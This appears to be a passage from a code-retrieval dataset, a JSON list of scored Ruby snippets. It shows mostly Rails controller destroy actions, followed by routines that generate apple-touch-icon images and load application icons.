:no_content }\n end\n end", "title": "" }, { "docid": "c526a0992bd4bce08b1d1c753df400e6", "score": "0.63130355", "text": "def destroy\n @o_single.destroy\n respond_to do |format|\n format.html { redirect_to user_urls_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c526a0992bd4bce08b1d1c753df400e6", "score": "0.631165", "text": "def destroy\n @o_single.destroy\n respond_to do |format|\n format.html { redirect_to user_urls_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4e61b81d08f8e1f567542afa04b2757b", "score": "0.6310971", "text": "def destroy\n @inmate_count = InmateCount.find(params[:id])\n @inmate_count.destroy\n\n respond_to do |format|\n format.html { redirect_to inmate_counts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4c1c164b581dbae14285797e584e8fb7", "score": "0.63100415", "text": "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "title": "" }, { "docid": "a7d963fc798e936fb1e41244988ad86c", "score": "0.63074076", "text": "def destroy\n @means_of_influence.destroy\n respond_to do |format|\n format.html { redirect_to means_of_influences_url, notice: 'Means of influence was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c6e5ea159c26685ef820e44d7d5b6062", "score": "0.6306865", "text": "def destroy\n @user_visit = UserVisit.find(params[:id])\n @user_visit.destroy\n\n respond_to do |format|\n format.html { redirect_to user_visits_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d7930a20394fe63d6de0e6a8a662a538", "score": "0.6303601", "text": "def destroy\n @individu = Individu.find(params[:id])\n @individu.destroy\n\n respond_to do |format|\n format.html { redirect_to individus_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d2a0b1c6033b38b65acc56e226a0934a", "score": "0.62987924", "text": "def destroy\n @insured_type = InsuredType.find(params[:id])\n @insured_type.destroy\n\n respond_to do |format|\n format.html { redirect_to insured_types_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "125de2a41bce31ad461bd43fcc81a4e4", "score": "0.6298446", "text": "def destroy\n @user_surgeon_profile.destroy\n respond_to do |format|\n format.html { redirect_to user_surgeon_profiles_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "67aa74398a2d566efd7f96048625c5bb", "score": "0.6297416", "text": "def destroy\n @victim = connected_user.victims.find(params[:id])\n @victim.destroy\n\n respond_to do |format|\n format.html { redirect_to victims_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7b303d14778fd64b03bb004c119e9900", "score": "0.6294336", "text": "def delete(user)\n Rails.logger.debug \"Call to election.delete\"\n reqUrl = \"/api/election/#{self.id}\" #Set the request url\n rest_response = MwHttpRequest.http_delete_request(reqUrl,user['email'],user['password']) #Make the DELETE request to the server with the required parameters\n Rails.logger.debug \"Response from server: #{rest_response.code} #{rest_response.message}: #{rest_response.body}\"\n if rest_response.code == \"200\" #Validate if the response from the server is 200, which means OK\n return true, rest_response #Return success\n else\n return false, \"#{rest_response.code} #{rest_response.message}\" #Return error\n end\n end", "title": "" }, { "docid": "6e8b4bbeeadef76b05ca7bff8025a65f", "score": "0.6294022", "text": "def destroy\n @individual = Individual.find(params[:id])\n @individual.destroy\n\n respond_to do |format|\n format.html { redirect_to individuals_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6e8b4bbeeadef76b05ca7bff8025a65f", "score": "0.6294022", "text": "def destroy\n @individual = Individual.find(params[:id])\n @individual.destroy\n\n respond_to do |format|\n format.html { redirect_to individuals_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cc9348949210f1f17e262f7e8a677821", "score": "0.6291036", "text": "def destroy\n if !@user_agreement.agreement.gallina.users.include?(current_user)\n redirect_to @user_agreement.agreement.gallina\n return\n end\n @user_agreement.destroy\n respond_to do |format|\n format.html { redirect_to user_agreements_url, notice: 'User agreement was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "be9d8ff5c0124f1d5efc98ec2baa3fc1", "score": "0.62891394", "text": "def test_delete_user\n delete '/users/2'\n data = JSON.parse last_response.body\n\n assert_equal 'Daniel', data['name'], 'Propiedad name incorrecta'\n assert_equal 'Arbelaez', data['last_name'], 'Propiedad last_name incorrecta'\n assert_equal '1094673845', data['document'], 'propiedad document incorrecta'\n end", "title": "" }, { "docid": "8b16e646971d7114afc4e863c882934a", "score": "0.6287121", "text": "def destroy\n @insurance_fee.destroy\n respond_to do |format|\n format.html { redirect_to insurance_fees_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0386318723e68baed85bf5f8cde0b497", "score": "0.6285068", "text": "def destroy\n @indonation = Indonation.find(params[:id])\n @indonation.destroy\n\n respond_to do |format|\n format.html { redirect_to indonations_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f00417e8f7287d5fa8e7876cbe47e471", "score": "0.6284845", "text": "def destroy\n @individual.destroy\n respond_to do |format|\n format.html { redirect_to individuals_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3a20f3905e2bf5cdd1dfcb674b1b2a57", "score": "0.6283157", "text": "def destroy\n @in_come = InCome.find(params[:id])\n @in_come.destroy\n\n respond_to do |format|\n format.html { redirect_to in_comes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "833b31693293dc5e889378e9023846b2", "score": "0.6278089", "text": "def destroy\n @successfulinsurance.destroy\n respond_to do |format|\n format.html { redirect_to successfulinsurances_url, notice: 'Successfulinsurance was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a2e4c7f8cd75a7e02151ab1752889540", "score": "0.6277557", "text": "def destroy\n # if UserIngredient.where(:id => params[:id])\n # @user_ingredient = UserIngredient.find(params[:id])\n # @user_ingredient.destroy\n\n # respond_to do |format|\n # format.json { render :json => @user_ingredient }\n # end\n # else\n # respond_to do |format|\n # format.json { render :json => [\"failure\"]}\n # end\n # end\n user = UserSession.user_by_authentication_token(params[:authentication_token])\n\n if @user_ingredient = UserIngredient.where(:user_id => user.id, :ingredient_id => params[:id])\n @user_ingredient[0].destroy\n end\n respond_to do |format|\n format.json { render :json => @user_ingredient }\n end\n end", "title": "" }, { "docid": "acf1bfd6dfa0380aa31a8efde7732e86", "score": "0.6277285", "text": "def destroy\n user = User.find(params[:id])\n user.destroy\n\n render json: user\n end", "title": "" }, { "docid": "b4485babd70da2309fb98833b1ff15b8", "score": "0.62765175", "text": "def destroy\n @userok = Userok.find(params[:id])\n @userok.destroy\n\n respond_to do |format|\n format.html { redirect_to useroks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a50700ffebc25b728498bd9a31e3e68c", "score": "0.62756205", "text": "def destroy\n @user.destroy\n render json: {message: \"#{@user.id} deleted\"}, status: :ok\n end", "title": "" }, { "docid": "b1a17c1ee1af05c79fe156622df44818", "score": "0.62752825", "text": "def delete(path)\n begin\n response = client[path].delete :accept => 'application/json'\n rescue Exception => e\n puts e.inspect\n end\n end", "title": "" }, { "docid": "893383fb741b32fb5adbd51fad9a5b4e", "score": "0.6274868", "text": "def destroy\r\n @user = User.find(params[:id])\r\n @user.calendars.delete_all\r\n @user.specialismships.delete_all\r\n \r\n @user.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to users_url }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "7c6d791fd8114f34111d09c27e4c996a", "score": "0.6272922", "text": "def destroy\n @affiliate = Affiliate.find(params[:id])\n @affiliate.destroy\n\n respond_to do |format|\n format.html { redirect_to affiliates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d5aa12845e4de9a01c79f6d4692db48c", "score": "0.62709564", "text": "def destroy\n # find the agent and the associated user account\n @agent = Agent.find(params[:id])\n @user = User.find(@agent.user_id)\n \n # destroy them\n @agent.destroy\n @user.destroy\n \n respond_to do |format|\n format.html { redirect_to agents_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "4b8eac82a2e2ee6588e9d3946dfeb81e", "score": "0.6270772", "text": "def destroy\n @life_insurance_contract.destroy\n\n respond_to do |format|\n format.html { redirect_to life_insurance_contracts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6b7f3ad9de271558ef3b8e34d06cb0da", "score": "0.6264722", "text": "def destroy\n @individual_identity.destroy\n respond_to do |format|\n format.html { redirect_to individual_identities_url, notice: 'Individual identity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d0f6e0b93d0e9d2952155c7af5aa8913", "score": "0.6263318", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n session[:current_user_id] = nil\n gb = Gibbon.new\n #list_id = gb.lists({:list_name => \"Fitsby Users\"})[\"data\"].first[\"id\"]\n gb.list_unsubscribe(:id => \"3c9272b951\", :email_address => @user.email, :delete_member => true, \n :send_goodbye => false, :send_notify => false)\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "45f7dd236d2e34efcd5f7f2c6e3c75ee", "score": "0.6263208", "text": "def destroy\n user = @glucose.user\n @glucose.destroy\n respond_to do |format|\n format.html { redirect_to user_path(user), notice: 'Glucose was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "eb2637eb93cf644edc23756778cfa927", "score": "0.62622094", "text": "def destroy\n user = Relationship.find(params[:id]).followed\n curent_user.unfollow(user)\n render json: {message: \"unfollow success\", httpstatus: unfollowsucces}\n end", "title": "" }, { "docid": "373c64cf87ab47b2d031838010d1aabf", "score": "0.62601995", "text": "def destroy\n @user_information = UserInformation.find(params[:id])\n @user_information.destroy\n\n respond_to do |format|\n format.html { redirect_to user_informations_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a442c0433eb640cc7ec2c1dd77635905", "score": "0.62588704", "text": "def destroy\n @o_single.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "271c2c9bc97eb2c7acf567b0fc9e1002", "score": "0.6258756", "text": "def destroy\n @userst = Userst.find(params[:id])\n @userst.destroy\n\n respond_to do |format|\n format.html { redirect_to usersts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fc64158750b4904d1272a3e4a49db355", "score": "0.62576234", "text": "def destroy\n @instalment.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "55956a21503c1563899afaca579e8be6", "score": "0.6256388", "text": "def destroy\n @user_biography = UserBiography.find(params[:id])\n @user_biography.destroy\n\n respond_to do |format|\n format.html { redirect_to user_biographies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a2f1d16acf2df5be36204fdcf83b1216", "score": "0.6256114", "text": "def destroy\n @user_observation = UserObservation.find(params[:id])\n @user_observation.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_observations_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "cbf336e7e7c1fbc67bb46373183a0c39", "score": "0.62494665", "text": "def destroy\n @upvote_relationship = UpvoteRelationship.find(params[:id])\n @upvote_relationship.destroy\n\n respond_to do |format|\n format.html { redirect_to upvote_relationships_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2da62c7ea0bef3dd51198e6d3aa6f71d", "score": "0.62477016", "text": "def destroy\n @userreq = Userreq.find(params[:id])\n @userreq.destroy\n\n respond_to do |format|\n format.html { redirect_to current_user }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3fecea9bffb14eda0f9d84ff95da6cc0", "score": "0.62473994", "text": "def destroy\n @user_ingredient = UserIngredient.find(params[:id])\n @user_ingredient.destroy\n end", "title": "" }, { "docid": "ea571358d5b5fe937650dfcf4c2ba10d", "score": "0.6243381", "text": "def destroy\n render json: @user if @user.destroy\n end", "title": "" }, { "docid": "4ebee8d3a77d1376be55b1867898e8f4", "score": "0.6242972", "text": "def destroy\n @insurance_provider = InsuranceProvider.find(params[:id])\n @insurance_provider.destroy\n\n respond_to do |format|\n format.html { redirect_to insurance_providers_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "979f39bccda26a645ebf0673aceb8616", "score": "0.6242555", "text": "def destroy\n @insurance.destroy\n respond_to do |format|\n format.html { redirect_to [@insurance.book.person, @insurance.book], notice: 'Insurance was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "23d5420431a6badf1a5be6ec0b92dbc4", "score": "0.6240312", "text": "def destroy\n @user.destroy\n render json: {}, status: :ok\n end", "title": "" }, { "docid": "4825105cd8c1c6f494ad75032e75ee5b", "score": "0.6239553", "text": "def destroy\n @user_request = UserRequest.find(params[:id])\n @user_request.destroy\n\n respond_to do |format|\n format.html { redirect_to user_requests_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0e61a414b5671b855d33ef32b710cb41", "score": "0.62383324", "text": "def destroy\n @userdisciplines = UserDisciplines.find(params[:id])\n @userdisciplines.destroy\n\n respond_to do |format|\n format.html { redirect_to users_disciplines_path }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "0e61a414b5671b855d33ef32b710cb41", "score": "0.62383324", "text": "def destroy\n @userdisciplines = UserDisciplines.find(params[:id])\n @userdisciplines.destroy\n\n respond_to do |format|\n format.html { redirect_to users_disciplines_path }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "040d626e4bc6ef2caf2b90cf256112ee", "score": "0.623733", "text": "def destroy\n @insurance_session = InsuranceSession.find(params[:id])\n @insurance_session.update_column(:updated_user, current_user.login_name)\n @insurance_session.destroy\n\n respond_to do |format|\n format.html { redirect_to insurance_sessions_url }\n format.json { head :no_content }\n end\n end", "title": "" } ]
678f322893a8c0cfcb544bde83a366d9
Builds a single 152x152 appletouchiconprecomposed from the given source file.
[ { "docid": "adc14a6528484f3a9b47890b60b86871", "score": "0.7666016", "text": "def build_single(source, destination)\n build_size(source, '152x152', \"#{destination}/apple-touch-icon-precomposed.png\")\n end", "title": "" } ]
[ { "docid": "6f9860d467ca17f51bb0c3c0705c14a9", "score": "0.73157996", "text": "def build_single(source, destination)\n build_size(source, '180x180', \"#{destination}/apple-touch-icon.png\")\n build_size(source, '180x180', \"#{destination}/apple-touch-icon-precomposed.png\")\n end", "title": "" }, { "docid": "0fe31bf76500e3563bf934e59d2a1b49", "score": "0.69735026", "text": "def build(source, destination)\n @sizes.each do |size|\n new_image = \"#{destination}/apple-touch-icon-#{size}-precomposed.png\"\n build_size(source, size, new_image)\n if size == '57x57'\n build_size(source, '57x57', \"#{destination}/apple-touch-icon-precomposed.png\")\n end\n end\n end", "title": "" }, { "docid": "473db3554221e69865d3db94378de6e9", "score": "0.6471423", "text": "def build(source, destination)\n @apple_sizes.each do |size| \n if size == '180x180'\n build_size(source, '180x180', \"#{destination}/apple-touch-icon.png\") \n build_size(source, '180x180', \"#{destination}/apple-touch-icon-precomposed.png\")\n else\n # Create precomposed icons\n new_precomposed_image = \"#{destination}/apple-touch-icon-#{size}-precomposed.png\"\n build_size(source, size, new_precomposed_image)\n # Create normal icons\n new_image = \"#{destination}/apple-touch-icon-#{size}.png\"\n build_size(source, size, new_image) \n end\n end\n @chrome_sizes.each do |size|\n new_image = \"#{destination}/touch-icon-#{size}.png\"\n build_size(source, size, new_image)\n end\n @microsoft_sizes.each do |size|\n new_image = \"#{destination}/mstile-#{size}.png\"\n build_size(source, size, new_image)\n end\n end", "title": "" }, { "docid": "817e69bb1e8d023ab6d8999581f80da1", "score": "0.61857826", "text": "def load_icon(filename)\n icon = nil\n filename = File.join(\"icons\",filename)\n File.open(filename, \"rb\") do |io|\n icon = FXPNGIcon.new(app, io.read)\n end\n icon.blend(FXRGB(236,233,216))\n icon\n end", "title": "" }, { "docid": "9a218de8fb37e4a7c4cac298c4058993", "score": "0.5904912", "text": "def set_dmg_icon\n execute <<-EOH.gsub(/^ {8}/, '')\n # Convert the png to an icon\n sips -i \"#{resource_path('icon.png')}\"\n\n # Extract the icon into its own resource\n DeRez -only icns \"#{resource_path('icon.png')}\" > tmp.rsrc\n\n # Append the icon reosurce to the DMG\n Rez -append tmp.rsrc -o \"#{final_dmg}\"\n\n # Source the icon\n SetFile -a C \"#{final_dmg}\"\n EOH\n end", "title": "" }, { "docid": "6ab62b6f83df66965ddf515995929dec", "score": "0.5795482", "text": "def borrow_xcode_icon(icon_name, background=false)\n\t\t\t\timage_path = \"/System/Library/PrivateFrameworks/DevToolsInterface.framework/Versions/A/Resources/#{icon_name}\"\n\t\t\t\tif File.exist?(image_path)\n\t\t\t\t\timage(\t:class => background ? \"backgroundicon\" : \"icon\",\n\t\t\t\t\t\t\t:src => \"file://#{image_path}\" )\n\t\t\t\tend\n\t\t\tend", "title": "" }, { "docid": "11b6aeb16f272e76d25771f7fe89788f", "score": "0.5751818", "text": "def file_icon_image_path(file_name=nil, options={})\n defaults = {:size => \"32x32\", :extension => nil}\n options = defaults.merge(options).symbolize_keys\n\n if ext = Utility.uniq_file_extname(file_name)\n size = options.delete(:size)\n size = '32x32' unless ['16x16', '32x32'].include?(size)\n source = image_path(\"icons/file-types/original/#{ext}-icon-#{size}.gif\")\n end\n end", "title": "" }, { "docid": "7a3ee7d420d67a396a2702c518d546aa", "score": "0.56952846", "text": "def icon_tag(file_name, options = {})\n ext = \"#{File.extname(file_name).gsub('.', '')}\"\n k = %w(ac3 aiff avi bmp cab dat doc docx dvd dwg fon gif html ico ifo jif jpg log m4a mp3 mpeg msp pdf png ppt pptx psd rtf tiff ttf txt wav wmv wri xls xlsx xml xsl zip)\n options.merge!({:size => \"24x24\", :alt => ext})\n if k.include?(ext)\n image_tag \"doc_icons/#{ext}.png\", options\n else\n Rails.logger.info url\n image_tag \"doc_icons/default.png\", options\n end\n end", "title": "" }, { "docid": "130dfa621f5a7d8623783115e71bd5ac", "score": "0.5679165", "text": "def icon\n \"file_icons/32px/#{asset_content_type.split('.').last.sub(/\\?.+/, \"\").downcase}.png\"\n end", "title": "" }, { "docid": "0a9df0262a4fcb78c739cb5f94f93dc9", "score": "0.56708103", "text": "def retina_src(src)\n ext = Pathname.new(src).extname\n src.sub %r(#{ext}$), \"_2x#{ext}\"\n end", "title": "" }, { "docid": "c57b3869539b6bb8ff1eeb4aa7596f43", "score": "0.5660136", "text": "def copy_icon_file\n FileUtils.cp spec.icon, icon_file\n end", "title": "" }, { "docid": "47c42ffa64c7298a1675a7cb4600b51c", "score": "0.5658787", "text": "def create_icon()\n return IconComponent.new(\n '',\n {\n 'image' => '/base_image.png'\n },\n {},\n {},\n {},\n File.expand_path('./test/images')\n )\nend", "title": "" }, { "docid": "abd8c747c5efeec97696303b05b94d8b", "score": "0.5631518", "text": "def load_icon(filename, app)\n filename = File.expand_path(\"../../../../icons/#{filename}\", __FILE__)\n File.open(filename, 'rb') do |f|\n FXPNGIcon.new(app, f.read)\n end\n end", "title": "" }, { "docid": "e9e66b26c1cc4835e62af0400616cc62", "score": "0.56171", "text": "def make_image_bmp(filename, w, h)\n case filename \n when String then Cache.picture(filename) # Filename\n when Integer then get_enlarged_icon([w, h].min, filename) # icon index\n when Array # [icon index, hue]\n filename = filename.select {|num| num.is_a?(Integer) }\n filename.slice!(2, filename.size - 2) if filename.size > 2\n return if filename.empty?\n get_enlarged_icon([w, h].min, *filename)\n else # empty\n Cache.picture(\"\")\n end\n end", "title": "" }, { "docid": "746f37dea2d540e255d68b40ccad893d", "score": "0.5611625", "text": "def apple_icons\n apple_icon_sizes_array = [57, 60, 72, 76, 114, 120, 144, 152]\n\n icon_tags('apple-touch-icon-precomposed',\n 'apple-touch-icon',\n apple_icon_sizes_array)\n end", "title": "" }, { "docid": "d640605f8cbbadd9ad49b07ee2eab1e6", "score": "0.5602801", "text": "def load_icon(filename)\n begin\n filename = File.join(\"icons\", filename) + \".png\"\n icon = nil\n File.open(filename, \"rb\") { |f|\n icon = FXPNGIcon.new(getApp(), f.read)\n }\n icon\n rescue\n raise RuntimeError, \"#{ERR_NO_ICON} #{filename}\"\n end\n end", "title": "" }, { "docid": "439f0c56cc43dd57df42fb1515d6a69d", "score": "0.56002367", "text": "def loadIcon(filename)\n filename = File.expand_path(\"../images/#{filename}\", __FILE__)\n File.open(filename, \"rb\") do |f|\n FXPNGIcon.new(getApp(), f.read)\n end\n end", "title": "" }, { "docid": "439f0c56cc43dd57df42fb1515d6a69d", "score": "0.56002367", "text": "def loadIcon(filename)\n filename = File.expand_path(\"../images/#{filename}\", __FILE__)\n File.open(filename, \"rb\") do |f|\n FXPNGIcon.new(getApp(), f.read)\n end\n end", "title": "" }, { "docid": "439f0c56cc43dd57df42fb1515d6a69d", "score": "0.56002367", "text": "def loadIcon(filename)\n filename = File.expand_path(\"../images/#{filename}\", __FILE__)\n File.open(filename, \"rb\") do |f|\n FXPNGIcon.new(getApp(), f.read)\n end\n end", "title": "" }, { "docid": "439f0c56cc43dd57df42fb1515d6a69d", "score": "0.56002367", "text": "def loadIcon(filename)\n filename = File.expand_path(\"../images/#{filename}\", __FILE__)\n File.open(filename, \"rb\") do |f|\n FXPNGIcon.new(getApp(), f.read)\n end\n end", "title": "" }, { "docid": "439f0c56cc43dd57df42fb1515d6a69d", "score": "0.559948", "text": "def loadIcon(filename)\n filename = File.expand_path(\"../images/#{filename}\", __FILE__)\n File.open(filename, \"rb\") do |f|\n FXPNGIcon.new(getApp(), f.read)\n end\n end", "title": "" }, { "docid": "4f9eef6994d450f7cbae4f49f5b11fd2", "score": "0.55827147", "text": "def loadIcon(filename)\n begin\n #dirname = File.join(File.dirname(__FILE__), \"/../res/icons\")\n dirname = File.join(get_resource_path, \"icons\")\n filename = File.join(dirname, filename)\n icon = nil\n File.open(filename, \"rb\") { |f|\n if File.extname(filename) == \".png\"\n icon = FXPNGIcon.new(getApp(), f.read)\n elsif File.extname(filename) == \".gif\"\n icon = FXGIFIcon.new(getApp(), f.read)\n end\n }\n icon\n rescue\n raise RuntimeError, \"Couldn't load icon: #{filename}\"\n end\n end", "title": "" }, { "docid": "df7d6a6ed300b54cf301fa76ae7a1024", "score": "0.5551778", "text": "def loadIcon(filename)\r\n begin\r\n dirname = File.join(get_resource_path, \"icons\")\r\n filename = File.join(dirname, filename)\r\n icon = nil\r\n File.open(filename, \"rb\") { |f|\r\n if File.extname(filename) == \".png\"\r\n icon = FXPNGIcon.new(getApp(), f.read)\r\n elsif File.extname(filename) == \".gif\"\r\n icon = FXGIFIcon.new(getApp(), f.read)\r\n end\r\n }\r\n icon\r\n rescue\r\n raise RuntimeError, \"Couldn't load icon: #{filename}\"\r\n end\r\n end", "title": "" }, { "docid": "564fd4d5817d3e8da675bcd9250968db", "score": "0.5492427", "text": "def set_dmg_icon\n log.info(log_key) { \"Setting dmg icon\" }\n\n Dir.chdir(staging_dir) do\n shellout! <<-EOH.gsub(/^ {10}/, \"\")\n # Convert the png to an icon\n sips -i \"#{resource_path(\"icon.png\")}\"\n\n # Extract the icon into its own resource\n DeRez -only icns \"#{resource_path(\"icon.png\")}\" > tmp.rsrc\n\n # Append the icon reosurce to the DMG\n Rez -append tmp.rsrc -o \"#{package_path}\"\n\n # Source the icon\n SetFile -a C \"#{package_path}\"\n EOH\n end\n end", "title": "" }, { "docid": "f0059250b858973a5795bc76a3b58201", "score": "0.5462434", "text": "def icon_file\n File.join(resources_root, \"#{spec.name}.icns\")\n end", "title": "" }, { "docid": "b671e78280a43cc5c03117f67c589ad2", "score": "0.5451573", "text": "def build_icon(meth)\n if meth.to_s =~ /^(.*)_icon$/\n name = $1\n path = File.join(Config.images_path, \"#{name}.png\")\n if File.exists? path\n begin\n icon = Gdk::Pixbuf.new(path) \n icon.freeze\n # Once loaded, we only need a reader\n self.class.send(:define_method, meth) do\n icon\n end\n return icon\n rescue StandardError => e\n $stderr.puts e.to_s\n $stderr.puts \"Problem loading #{name} icon #{path}\"\n raise e\n end\n else\n raise \"Icon not found: #{path}\"\n end\n end\n end", "title": "" }, { "docid": "6953f689d267803bc5bb54da9bea371e", "score": "0.5450112", "text": "def iconBuilder(base_url)\n iconString = 'https://besticon-demo.herokuapp.com/icon?url=' + base_url + '&size=70..120..200'\n return iconString\n end", "title": "" }, { "docid": "f5189040f28b90f0b151d7a3b0f1771d", "score": "0.54394317", "text": "def icon(name)\n `~/.oroshi/config/tmux/helper-get-icon #{name}`.strip\n end", "title": "" }, { "docid": "5de93d6bbc58d15ea6ffcbbbf12fde06", "score": "0.5421269", "text": "def icon_for(filename)\n icon_file = File.exists?(\"#{RAILS_ROOT}/public/images/icons/icon#{File.extname(filename)}.png\") ? \"/images/icons/icon#{File.extname(filename)}.png\" : '/images/icons/icon.any.png'\n image_tag(icon_file, :width=>\"50px\", :title=>File.basename(filename))\n end", "title": "" }, { "docid": "5c78a9a8d858c7f7aa5809c47542643a", "score": "0.5413238", "text": "def dock_icon\n mac = RUBY_PLATFORM.match(/darwin/i) || (RUBY_PLATFORM == 'java' && ENV_JAVA['os.name'].match(/mac/i))\n mac ? [\"-Xdock:name=Ruby-Processing\", \"-Xdock:icon=#{RP5_ROOT}/lib/templates/application/Contents/Resources/sketch.icns\"] : []\n end", "title": "" }, { "docid": "435ad464986503b4c25f9be7b1a034ec", "score": "0.54122657", "text": "def icon_tiny\n \"#{imageproxy_url}https://images.evetech.net/types/#{type_id}/bp?size=32\"\n end", "title": "" }, { "docid": "1ef863d21e732e8d176a08ab0b1c4cd7", "score": "0.54122484", "text": "def png_file_name; long_base_name + \".png\"; end", "title": "" }, { "docid": "9cc1d1f3a6b4229b6275923789463dd2", "score": "0.5406542", "text": "def bundle_icon(size, resolution=1)\n icon_data = nil\n if resolutions = @info_plist.bundle_icons[size]\n if filename = resolutions[resolution]\n icon_glob = \"Payload/#{@app_name}/#{filename}*.png\"\n Zip::File.open(@filename) do |zipfile|\n zipfile.glob(icon_glob).each do |icon|\n icon_data = icon.get_input_stream.read\n end\n end\n end\n end\n icon_data\n end", "title": "" }, { "docid": "9989ec2853417ebef74bb6318e5f5105", "score": "0.54001194", "text": "def helper_get_file_extension_big_icon(filename)\n defaulticon = \"icn-file-big.png\"\n if filename\n splitted_name = filename.split('.')\n extension = splitted_name[(splitted_name.length-1)].to_s\n if File.exist?(\"#{RAILS_ROOT}/public/images/icn-#{extension}-big.png\")\n defaulticon = \"icn-#{extension}-big.png\"\n end\n end\n return defaulticon\n end", "title": "" }, { "docid": "9b22e1cdf19035e6f85fdd4006f132de", "score": "0.53963494", "text": "def icon_set; end", "title": "" }, { "docid": "14365a518c2e2bc283cdda8c514689c2", "score": "0.53868186", "text": "def get_icon(name)\n\t\t\tpath = get_image(name) + \".gz\"\n\t\t\tfd = File.open(path, \"rb\")\n\t\t\tbuff = fd.read( File.size(path) )\n\t\t\tfd.close \n\t\t\t\n\t\t\tGdk::Pixbuf.new(Rex::Text.ungzip(buff).split(\"\\n\"))\n\t\tend", "title": "" }, { "docid": "5d0e4d261ce9be0a4f44e13f4dd66dfa", "score": "0.5365572", "text": "def dock_icon\n @os ||= host_os\n icon = []\n if os == :mac\n icon << '-Xdock:name=Ruby-Processing'\n icon << \"-Xdock:icon=#{RP5_ROOT}/lib/templates/application/Contents/Resources/sketch.icns\"\n end\n icon\n end", "title": "" }, { "docid": "3d134069b1dbfec5846f48195642c53c", "score": "0.53588027", "text": "def icon_tiny\n corporation_logo_url(32)\n end", "title": "" }, { "docid": "d2a3ef7f88987b80b6c2f4c015707856", "score": "0.5348848", "text": "def retina_image(src, options = {})\n src2x = src.gsub(/(^.+)(\\.(jpg|png)$)/, \"\\1@2x\\2\")\n image_tag src, options.merge(srcset: \"#{image_url(src2x)} 2x\")\n end", "title": "" }, { "docid": "4c0c05fd85868dd2849c82a2a248d436", "score": "0.5337172", "text": "def touchicon_180\n serve_image :touchicon_180\n end", "title": "" }, { "docid": "5c56a87c838de6698f7b2f2a4fb31ffb", "score": "0.5334824", "text": "def bitmap\n Cache.windowskin(@file_name + '.png', @path);\n end", "title": "" }, { "docid": "b290c3d2e9bb32fbbf3a9f73deea2a97", "score": "0.5309154", "text": "def icon_tiny\n character_portrait_url(32)\n end", "title": "" }, { "docid": "5a82b7a3d55d750d6aac7cb6f58854f6", "score": "0.5306057", "text": "def load_bitmap(base_name, mode)\n\n png_file = File.join( File.dirname(__FILE__), 'icons', base_name )\n #png_file = \"dragons_keep/icons/#{base_name}\"\n# puts \"image : #{png_file}\"\n Wx::Bitmap.new(png_file, mode ) # Wx::BITMAP_TYPE_PNG\n end", "title": "" }, { "docid": "27a65afd0928798d235ef0b97a752903", "score": "0.52804196", "text": "def createBitmap(name)\n return Wx::Bitmap.new(Wx::Image.new(File.expand_path(\"res/img/\" + name)))\n end", "title": "" }, { "docid": "26c29e98241dd3e99cde69806f4cc310", "score": "0.52797794", "text": "def makeTrayIcon(iBitmap)\n lRealBitmap = iBitmap\n if (iBitmap == nil)\n lRealBitmap = getGraphic('Icon32.png')\n end\n # Different platforms have different requirements for the taskbar icon size\n if Wx::PLATFORM == \"WXMSW\"\n lRealBitmap = getResizedBitmap(lRealBitmap, 16, 16)\n elsif Wx::PLATFORM == \"WXGTK\"\n lRealBitmap = getResizedBitmap(lRealBitmap, 22, 22)\n elsif Wx::PLATFORM == \"WXMAC\"\n # WXMAC can be any size up to 128x128\n lResize = false\n lNewWidth = lRealBitmap.width\n if (lRealBitmap.width > 128)\n lNewWidth = 128\n lResize = true\n end\n lNewHeight = lRealBitmap.height\n if (lRealBitmap.height > 128)\n lNewHeight = 128\n lResize = true\n end\n if (lResize)\n # Need to rescale\n lRealBitmap = Wx::Bitmap.new(lRealBitmap.convert_to_image.scale(lNewWidth, lNewHeight))\n end\n end\n rIcon = Wx::Icon.new\n 